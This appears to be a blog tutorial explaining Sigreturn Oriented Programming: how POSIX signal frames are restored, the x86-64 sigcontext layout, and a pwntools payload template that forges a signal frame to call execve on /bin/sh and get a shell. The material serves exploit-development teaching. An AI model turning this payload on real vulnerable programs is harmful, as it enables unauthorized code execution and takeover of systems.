Sigreturn Oriented Programming
Sigreturn Oriented Programming
Sigreturn Oriented Programming.
SROP
(Sigreturn Oriented Programming) is binary exploitation technique that leverages the signal handling mechanisms in POSIX
systems to gain control over CPU registers. This is achieved by crafting a fake signal frame on the stack and then invoking the sigreturn
system call.
The signal handling mechanism
SROP
exploits the process used by POSIX
systems to handle signals. This process works as follows:
- When a signal occurs, context switch is performed.
- The context switch saves the current state of execution by pushing all CPU registers and additional data onto the stack.
- Once the signal has been handled, the
sigreturn
system call is invoked, which restores the CPU register values from the data saved on the stack.
Here are the structures involved:
struct sigcontext
- This structure is a component of the
sigframe
. It stores the values of the CPU registers and their flag. - The structure definition and layout depend on specific architecture and operating system.
- This structure is a component of the
on x86-64
, the structure contains:
1
2
3
4
5
6
7
8
9
struct sigcontext {
uint64_t r8, r9, r10, r11, r12, r13, r14, r15;
uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp;
uint64_t rip, eflags;
uint16_t cs, gs, fs;
uint64_t err, trapno, oldmask, cr2;
void *fpstate;
uint64_t reserved[8];
};
Exploitation
SROP
involves two main stages once you have control of the return address
- Triggering the
sigreturn
system call. - Providing a fake signal frame.
Payload example
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# stage1 trigger the sigreturn syscall
stage1 = flat(
cyclic(offset_to_rip), # padding to return addres
pop_rax, # pop rax; ret
0xf, # sigreturn number in x64 or 0x77 for x86
syscall, # syscall gadget
)
# stage to fake signal frame
# pwntools makes it easy to setup the signal frame
stage2 = SigreturnFrame()
stage2.rax = 59 # for execve
stage2.rdi = binsh # address of "/bin/sh"
stage2.rsi = 0
stage2.rdx = 0
stage2.rip = syscall # syscall gadget
payload = flat(
stage1,
stage2
)
The above payload will get you a shell.
When to use SROP
- When you have limited gadgets.
- Can control stack. (Buffer overflow)
- When you have
pop rax
andsyscall
gadgets - Need to set up multiple registers
This post is licensed under CC BY 4.0 by the author.